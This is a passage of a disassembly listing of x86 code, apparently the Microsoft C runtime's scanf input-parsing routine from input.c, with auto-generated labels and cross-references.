		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_42C56C
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		mov	[ebp+var_8], dl
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_7], al
		mov	[ebp+var_6], 0
		mov	[ebp+var_4], 2
		jmp	short loc_42C57D
; ---------------------------------------------------------------------------


loc_42C56C:				; CODE XREF: sub_42C4B0+98j
		mov	cl, byte ptr [ebp+arg_0]
		mov	[ebp+var_8], cl
		mov	[ebp+var_7], 0
		mov	[ebp+var_4], 1


loc_42C57D:				; CODE XREF: sub_42C4B0+BAj
		push	1
		push	0
		push	3
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		push	200h
		mov	edx, dword_4E92E4
		push	edx
		call	sub_4312B0
		add	esp, 20h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42C5B1
		mov	eax, [ebp+arg_0]
		jmp	short loc_42C5D7
; ---------------------------------------------------------------------------


loc_42C5B1:				; CODE XREF: sub_42C4B0+FAj
		cmp	[ebp+var_4], 1
		jnz	short loc_42C5C1
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		jmp	short loc_42C5D7
; ---------------------------------------------------------------------------


loc_42C5C1:				; CODE XREF: sub_42C4B0+105j
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		mov	ecx, [ebp+var_C+1]
		and	ecx, 0FFh
		shl	ecx, 8
		or	eax, ecx


loc_42C5D7:				; CODE XREF: sub_42C4B0+27j
					; sub_42C4B0+6Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42C4B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C5E0	proc near		; CODE XREF: sub_422E90+A2p

var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= dword	ptr -200h
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1F4		= dword	ptr -1F4h
var_1F0		= byte ptr -1F0h
var_1EF		= byte ptr -1EFh
var_1EC		= dword	ptr -1ECh
var_1E8		= dword	ptr -1E8h
var_1E4		= dword	ptr -1E4h
var_1E0		= dword	ptr -1E0h
var_1DC		= dword	ptr -1DCh
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= byte ptr -1D0h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_55		= byte ptr -55h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 224h
		push	ebx
		push	esi
		push	edi


loc_42C5EC:				; CODE XREF: sub_42C5E0+37j
		cmp	[ebp+arg_4], 0
		jnz	short loc_42C613
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	109h
		push	offset aInput_c	; "input.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42C613
		int	3		; Trap to Debugger


loc_42C613:				; CODE XREF: sub_42C5E0+10j
					; sub_42C5E0+30j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42C5EC


loc_42C619:				; CODE XREF: sub_42C5E0+64j
		cmp	[ebp+arg_0], 0
		jnz	short loc_42C640
		push	offset dword_43E494
		push	0
		push	10Ch
		push	offset aInput_c	; "input.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42C640
		int	3		; Trap to Debugger


loc_42C640:				; CODE XREF: sub_42C5E0+3Dj
					; sub_42C5E0+5Dj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_42C619
		mov	[ebp+var_28], 0
		movsx	edx, [ebp+var_28]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		mov	[ebp+var_34], eax


loc_42C657:				; CODE XREF: sub_42C5E0:loc_42D8C5j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	loc_42D8CA
		cmp	dword_4524F0, 1
		jle	short loc_42C689
		push	8
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_1F8], eax
		jmp	short loc_42C6A5
; ---------------------------------------------------------------------------


loc_42C689:				; CODE XREF: sub_42C5E0+8Dj
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_4522E4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp+var_1F8], edx


loc_42C6A5:				; CODE XREF: sub_42C5E0+A7j
		cmp	[ebp+var_1F8], 0
		jz	short loc_42C6F3
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42DAA0
		add	esp, 8
		push	eax
		call	sub_42DA80
		add	esp, 8


loc_42C6D4:				; CODE XREF: sub_42C5E0+111j
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		push	eax
		call	sub_434540
		add	esp, 4
		test	eax, eax
		jz	short loc_42C6F3
		jmp	short loc_42C6D4
; ---------------------------------------------------------------------------


loc_42C6F3:				; CODE XREF: sub_42C5E0+CCj
					; sub_42C5E0+10Fj
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 25h
		jnz	loc_42D7AE
		mov	[ebp+var_40], 0
		mov	byte ptr [ebp+var_8], 0
		mov	[ebp+var_6C], 0
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_1E8], eax
		mov	ecx, [ebp+var_1E8]
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_10], 0
		mov	dl, [ebp+var_10]
		mov	[ebp+var_68], dl
		mov	al, [ebp+var_68]
		mov	[ebp+var_70], al
		mov	cl, [ebp+var_70]
		mov	[ebp+var_18], cl
		mov	dl, [ebp+var_18]
		mov	[ebp+var_64], dl
		mov	[ebp+var_14], 0
		mov	[ebp+var_38], 1
		mov	[ebp+var_1DC], 0


loc_42C755:				; CODE XREF: sub_42C5E0:loc_42C8ADj
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	loc_42C8B2
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_C], eax
		cmp	dword_4524F0, 1
		jle	short loc_42C799
		push	4
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_1FC], eax
		jmp	short loc_42C7B6
; ---------------------------------------------------------------------------


loc_42C799:				; CODE XREF: sub_42C5E0+19Bj
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_1FC], ecx


loc_42C7B6:				; CODE XREF: sub_42C5E0+1B7j
		cmp	[ebp+var_1FC], 0
		jz	short loc_42C7E6
		mov	edx, [ebp+var_1E8]
		add	edx, 1
		mov	[ebp+var_1E8], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		lea	edx, [ecx+eax*4]
		mov	eax, [ebp+var_C]
		lea	ecx, [eax+edx*2-30h]
		mov	[ebp+var_1C], ecx
		jmp	loc_42C8AD
; ---------------------------------------------------------------------------


loc_42C7E6:				; CODE XREF: sub_42C5E0+1DDj
		mov	edx, [ebp+var_C]
		mov	[ebp+var_200], edx
		mov	eax, [ebp+var_200]
		sub	eax, 2Ah
		mov	[ebp+var_200], eax
		cmp	[ebp+var_200], 4Dh
		ja	loc_42C8A5
		mov	edx, [ebp+var_200]
		xor	ecx, ecx
		mov	cl, byte_42D928[edx]
		jmp	off_42D908[ecx*4]


loc_42C820:				; DATA XREF: .XComp0:0042D90Co
		jmp	loc_42C8AD
; ---------------------------------------------------------------------------


loc_42C825:				; CODE XREF: sub_42C5E0+239j
					; DATA XREF: .XComp0:0042D918o
		mov	al, [ebp+var_38]
		sub	al, 1
		mov	[ebp+var_38], al
		mov	cl, [ebp+var_14]
		sub	cl, 1
		mov	[ebp+var_14], cl
		jmp	short loc_42C8AD
; ---------------------------------------------------------------------------


loc_42C838:				; CODE XREF: sub_42C5E0+239j
					; DATA XREF: .XComp0:0042D910o
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	eax, 36h
		jnz	short loc_42C87A
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+2]
		cmp	edx, 34h
		jnz	short loc_42C87A
		mov	eax, [ebp+arg_4]
		add	eax, 2
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+var_1DC]
		add	ecx, 1
		mov	[ebp+var_1DC], ecx
		mov	[ebp+var_30], 0
		mov	[ebp+var_2C], 0
		jmp	short loc_42C8AD
; ---------------------------------------------------------------------------


loc_42C87A:				; CODE XREF: sub_42C5E0+263j
					; sub_42C5E0+270j
		jmp	short loc_42C8A5
; ---------------------------------------------------------------------------


loc_42C87C:				; CODE XREF: sub_42C5E0+239j
					; DATA XREF: .XComp0:0042D914o
		mov	dl, [ebp+var_38]
		add	dl, 1
		mov	[ebp+var_38], dl
		jmp	short loc_42C8AD
; ---------------------------------------------------------------------------


loc_42C887:				; CODE XREF: sub_42C5E0+239j
					; DATA XREF: .XComp0:0042D91Co
		mov	al, [ebp+var_38]
		add	al, 1
		mov	[ebp+var_38], al


loc_42C88F:				; CODE XREF: sub_42C5E0+239j
					; DATA XREF: .XComp0:0042D920o
		mov	cl, [ebp+var_14]
		add	cl, 1
		mov	[ebp+var_14], cl
		jmp	short loc_42C8AD
; ---------------------------------------------------------------------------


loc_42C89A:				; CODE XREF: sub_42C5E0+239j
					; DATA XREF: .XComp0:off_42D908o
		mov	dl, [ebp+var_70]
		add	dl, 1
		mov	[ebp+var_70], dl
		jmp	short loc_42C8AD
; ---------------------------------------------------------------------------


loc_42C8A5:				; CODE XREF: sub_42C5E0+225j
					; sub_42C5E0+239j ...
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_42C8AD:				; CODE XREF: sub_42C5E0+201j
					; sub_42C5E0:loc_42C820j ...
		jmp	loc_42C755
; ---------------------------------------------------------------------------


loc_42C8B2:				; CODE XREF: sub_42C5E0+17Bj
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	short loc_42C8D5
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_1D4], edx
		mov	eax, [ebp+arg_8]
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx-4]
		mov	[ebp+var_3C], edx


loc_42C8D5:				; CODE XREF: sub_42C5E0+2D8j
		mov	[ebp+var_18], 0
		movsx	eax, [ebp+var_14]
		test	eax, eax
		jnz	short loc_42C90C
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 53h
		jz	short loc_42C8F9
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax]
		cmp	ecx, 43h
		jnz	short loc_42C904


loc_42C8F9:				; CODE XREF: sub_42C5E0+30Bj
		mov	dl, [ebp+var_14]
		add	dl, 1
		mov	[ebp+var_14], dl
		jmp	short loc_42C90C
; ---------------------------------------------------------------------------


loc_42C904:				; CODE XREF: sub_42C5E0+317j
		mov	al, [ebp+var_14]
		sub	al, 1
		mov	[ebp+var_14], al


loc_42C90C:				; CODE XREF: sub_42C5E0+2FFj
					; sub_42C5E0+322j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		or	edx, 20h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 6Eh
		jz	short loc_42C95E
		cmp	[ebp+var_C], 63h
		jz	short loc_42C943
		cmp	[ebp+var_C], 7Bh
		jz	short loc_42C943
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_20]
		push	ecx
		call	sub_42DAA0
		add	esp, 8
		mov	[ebp+var_1D8], eax
		jmp	short loc_42C95E
; ---------------------------------------------------------------------------


loc_42C943:				; CODE XREF: sub_42C5E0+343j
					; sub_42C5E0+349j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42C95E:				; CODE XREF: sub_42C5E0+33Dj
					; sub_42C5E0+361j
		cmp	[ebp+var_1E8], 0
		jz	short loc_42C971
		cmp	[ebp+var_1C], 0
		jz	loc_42D77F


loc_42C971:				; CODE XREF: sub_42C5E0+385j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_204], ecx
		mov	edx, [ebp+var_204]
		sub	edx, 63h
		mov	[ebp+var_204], edx
		cmp	[ebp+var_204], 18h
		ja	loc_42D72A
		mov	ecx, [ebp+var_204]
		xor	eax, eax
		mov	al, byte_42D99E[ecx]
		jmp	off_42D976[eax*4]


loc_42C9AB:				; DATA XREF: .XComp0:off_42D976o
		cmp	[ebp+var_1E8], 0
		jnz	short loc_42C9CC
		mov	edx, [ebp+var_1E8]
		add	edx, 1
		mov	[ebp+var_1E8], edx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	[ebp+var_1C], eax


loc_42C9CC:				; CODE XREF: sub_42C5E0+3D2j
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_42C9DD
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl


loc_42C9DD:				; CODE XREF: sub_42C5E0+3F2j
		mov	[ebp+var_1E0], offset dword_452778
		mov	al, [ebp+var_10]
		sub	al, 1
		mov	[ebp+var_10], al
		jmp	short loc_42CA60
; ---------------------------------------------------------------------------


loc_42C9F1:				; CODE XREF: sub_42C5E0+3C4j
					; DATA XREF: .XComp0:0042D98Eo
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_42CA02
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl


loc_42CA02:				; CODE XREF: sub_42C5E0+417j
		mov	[ebp+var_1E0], offset dword_452770
		mov	al, [ebp+var_10]
		sub	al, 1
		mov	[ebp+var_10], al
		jmp	short loc_42CA60
; ---------------------------------------------------------------------------


loc_42CA16:				; CODE XREF: sub_42C5E0+3C4j
					; DATA XREF: .XComp0:0042D996o
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_42CA27
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl


loc_42CA27:				; CODE XREF: sub_42C5E0+43Cj
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 5Eh
		jnz	short loc_42CA60
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	dl, [ebp+var_10]
		sub	dl, 1
		mov	[ebp+var_10], dl


loc_42CA60:				; CODE XREF: sub_42C5E0+40Fj
					; sub_42C5E0+434j ...
		push	20h
		push	0
		lea	eax, [ebp+var_60]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		cmp	[ebp+var_C], 7Bh
		jnz	short loc_42CA9C
		mov	ecx, [ebp+var_1E0]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 5Dh
		jnz	short loc_42CA9C
		mov	byte ptr [ebp+var_8], 5Dh
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax
		mov	[ebp+var_55], 20h


loc_42CA9C:				; CODE XREF: sub_42C5E0+494j
					; sub_42C5E0+4A3j ...
		mov	ecx, [ebp+var_1E0]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 5Dh
		jz	loc_42CC07
		mov	eax, [ebp+var_1E0]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_1EC],	cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_1EC]
		and	eax, 0FFh
		cmp	eax, 2Dh
		jnz	short loc_42CAF8
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_42CAF8
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 5Dh
		jnz	short loc_42CB3E


loc_42CAF8:				; CODE XREF: sub_42C5E0+4FAj
					; sub_42C5E0+507j
		mov	cl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_8], cl
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		sar	edx, 3
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		mov	cl, [ebp+edx+var_60]
		or	cl, al
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		sar	edx, 3
		mov	[ebp+edx+var_60], cl
		jmp	loc_42CC02
; ---------------------------------------------------------------------------


loc_42CB3E:				; CODE XREF: sub_42C5E0+516j
		mov	eax, [ebp+var_1E0]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_1EC],	cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		cmp	eax, ecx
		jge	short loc_42CB7E
		mov	dl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_24], dl
		jmp	short loc_42CB8D
; ---------------------------------------------------------------------------


loc_42CB7E:				; CODE XREF: sub_42C5E0+591j
		mov	al, byte ptr [ebp+var_8]
		mov	byte ptr [ebp+var_24], al
		mov	cl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_8], cl


loc_42CB8D:				; CODE XREF: sub_42C5E0+59Cj
		mov	dl, byte ptr [ebp+var_8]
		mov	byte ptr [ebp+var_1EC],	dl
		jmp	short loc_42CBA6
; ---------------------------------------------------------------------------


loc_42CB98:				; CODE XREF: sub_42C5E0+61Cj
		mov	al, byte ptr [ebp+var_1EC]
		add	al, 1
		mov	byte ptr [ebp+var_1EC],	al


loc_42CBA6:				; CODE XREF: sub_42C5E0+5B6j
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		mov	edx, [ebp+var_24]
		and	edx, 0FFh
		cmp	ecx, edx
		jg	short loc_42CBFE
		mov	eax, [ebp+var_1EC]
		and	eax, 0FFh
		sar	eax, 3
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		mov	al, [ebp+eax+var_60]
		or	al, dl
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		sar	ecx, 3
		mov	[ebp+ecx+var_60], al
		jmp	short loc_42CB98
; ---------------------------------------------------------------------------


loc_42CBFE:				; CODE XREF: sub_42C5E0+5DDj
		mov	byte ptr [ebp+var_8], 0


loc_42CC02:				; CODE XREF: sub_42C5E0+559j
		jmp	loc_42CA9C
; ---------------------------------------------------------------------------


loc_42CC07:				; CODE XREF: sub_42C5E0+4C9j
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jnz	short loc_42CC1A
		jmp	loc_42D8CA
; ---------------------------------------------------------------------------


loc_42CC1A:				; CODE XREF: sub_42C5E0+633j
		cmp	[ebp+var_C], 7Bh
		jnz	short loc_42CC29
		mov	ecx, [ebp+var_1E0]
		mov	[ebp+arg_4], ecx


loc_42CC29:				; CODE XREF: sub_42C5E0+63Ej
		mov	edx, [ebp+var_3C]
		mov	[ebp+var_1E4], edx
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_42DA80
		add	esp, 8


loc_42CC4E:				; CODE XREF: sub_42C5E0:loc_42CD90j
		cmp	[ebp+var_1E8], 0
		jz	short loc_42CC6B
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	loc_42CD95


loc_42CC6B:				; CODE XREF: sub_42C5E0+675j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jz	loc_42CD72
		mov	ecx, [ebp+var_1D8]
		sar	ecx, 3
		movsx	edx, [ebp+ecx+var_60]
		movsx	eax, [ebp+var_10]
		xor	edx, eax
		mov	ecx, [ebp+var_1D8]
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		and	edx, eax
		test	edx, edx
		jz	loc_42CD72
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	loc_42CD61
		movsx	edx, [ebp+var_64]
		test	edx, edx
		jz	short loc_42CD4B
		mov	al, byte ptr [ebp+var_1D8]
		mov	[ebp+var_1F0], al
		mov	ecx, [ebp+var_1D8]
		and	ecx, 0FFh
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_42CD1D
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1EF], al


loc_42CD1D:				; CODE XREF: sub_42C5E0+720j
		mov	eax, dword_4524F0
		push	eax
		lea	ecx, [ebp+var_1F0]
		push	ecx
		lea	edx, [ebp+var_4]
		push	edx
		call	sub_434200
		add	esp, 0Ch
		mov	eax, [ebp+var_3C]
		mov	cx, [ebp+var_4]
		mov	[eax], cx
		mov	edx, [ebp+var_3C]
		add	edx, 2
		mov	[ebp+var_3C], edx
		jmp	short loc_42CD5F
; ---------------------------------------------------------------------------


loc_42CD4B:				; CODE XREF: sub_42C5E0+6F3j
		mov	eax, [ebp+var_3C]
		mov	cl, byte ptr [ebp+var_1D8]
		mov	[eax], cl
		mov	edx, [ebp+var_3C]
		add	edx, 1
		mov	[ebp+var_3C], edx


loc_42CD5F:				; CODE XREF: sub_42C5E0+769j
		jmp	short loc_42CD70
; ---------------------------------------------------------------------------


loc_42CD61:				; CODE XREF: sub_42C5E0+6E7j
		mov	eax, [ebp+var_1E4]
		add	eax, 1
		mov	[ebp+var_1E4], eax


loc_42CD70:				; CODE XREF: sub_42C5E0:loc_42CD5Fj
		jmp	short loc_42CD90
; ---------------------------------------------------------------------------


loc_42CD72:				; CODE XREF: sub_42C5E0+6ADj
					; sub_42C5E0+6DBj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_42DA80
		add	esp, 8
		jmp	short loc_42CD95
; ---------------------------------------------------------------------------


loc_42CD90:				; CODE XREF: sub_42C5E0:loc_42CD70j
		jmp	loc_42CC4E
; ---------------------------------------------------------------------------


loc_42CD95:				; CODE XREF: sub_42C5E0+685j
					; sub_42C5E0+7AEj
		mov	ecx, [ebp+var_1E4]
		cmp	ecx, [ebp+var_3C]
		jz	short loc_42CDD1
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_42CDCF
		mov	eax, [ebp+var_34]
		add	eax, 1
		mov	[ebp+var_34], eax
		cmp	[ebp+var_C], 63h
		jz	short loc_42CDCF
		movsx	ecx, [ebp+var_64]
		test	ecx, ecx
		jz	short loc_42CDC9
		mov	edx, [ebp+var_3C]
		mov	word ptr [edx],	0
		jmp	short loc_42CDCF
; ---------------------------------------------------------------------------


loc_42CDC9:				; CODE XREF: sub_42C5E0+7DDj
		mov	eax, [ebp+var_3C]
		mov	byte ptr [eax],	0


loc_42CDCF:				; CODE XREF: sub_42C5E0+7C6j
					; sub_42C5E0+7D5j ...
		jmp	short loc_42CDD6
; ---------------------------------------------------------------------------


loc_42CDD1:				; CODE XREF: sub_42C5E0+7BEj
		jmp	loc_42D8CA
; ---------------------------------------------------------------------------


loc_42CDD6:				; CODE XREF: sub_42C5E0:loc_42CDCFj
		jmp	loc_42D774
; ---------------------------------------------------------------------------


loc_42CDDB:				; CODE XREF: sub_42C5E0+3C4j
					; DATA XREF: .XComp0:0042D982o
		mov	[ebp+var_C], 64h


loc_42CDE2:				; CODE XREF: sub_42C5E0+3C4j
					; DATA XREF: .XComp0:0042D992o
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_42CDF6
		mov	cl, [ebp+var_68]
		add	cl, 1
		mov	[ebp+var_68], cl
		jmp	short loc_42CDFF
; ---------------------------------------------------------------------------


loc_42CDF6:				; CODE XREF: sub_42C5E0+809j
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_42CE3C


loc_42CDFF:				; CODE XREF: sub_42C5E0+814j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_42CE21
		cmp	[ebp+var_1E8], 0
		jz	short loc_42CE21
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al
		jmp	short loc_42CE3C
; ---------------------------------------------------------------------------


loc_42CE21:				; CODE XREF: sub_42C5E0+82Cj
					; sub_42C5E0+835j
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42CE3C:				; CODE XREF: sub_42C5E0+81Dj
					; sub_42C5E0+83Fj
		cmp	[ebp+var_1D8], 30h
		jnz	loc_42CEDE
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax
		movsx	edx, byte ptr [ebp+var_1D8]
		cmp	edx, 78h
		jz	short loc_42CE7C
		movsx	eax, byte ptr [ebp+var_1D8]
		cmp	eax, 58h
		jnz	short loc_42CEA0


loc_42CE7C:				; CODE XREF: sub_42C5E0+88Ej
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42DA20
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	[ebp+var_C], 78h
		jmp	short loc_42CEDE
; ---------------------------------------------------------------------------


loc_42CEA0:				; CODE XREF: sub_42C5E0+89Aj
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_C], 78h
		jz	short loc_42CEB8
		mov	[ebp+var_C], 6Fh
		jmp	short loc_42CEDE
; ---------------------------------------------------------------------------


loc_42CEB8:				; CODE XREF: sub_42C5E0+8CDj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_42DA80
		add	esp, 8
		mov	[ebp+var_1D8], 30h


loc_42CEDE:				; CODE XREF: sub_42C5E0+863j
					; sub_42C5E0+8BEj ...
		jmp	short loc_42CF3E
; ---------------------------------------------------------------------------


loc_42CEE0:				; CODE XREF: sub_42C5E0+3C4j
					; DATA XREF: .XComp0:0042D98Ao
		mov	[ebp+var_38], 1


loc_42CEE4:				; CODE XREF: sub_42C5E0+3C4j
					; DATA XREF: .XComp0:0042D97Ao
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_42CEF8
		mov	cl, [ebp+var_68]
		add	cl, 1
		mov	[ebp+var_68], cl
		jmp	short loc_42CF01
; ---------------------------------------------------------------------------


loc_42CEF8:				; CODE XREF: sub_42C5E0+90Bj
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_42CF3E


loc_42CF01:				; CODE XREF: sub_42C5E0+916j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_42CF23
		cmp	[ebp+var_1E8], 0
		jz	short loc_42CF23
		mov	al, [ebp+var_18]
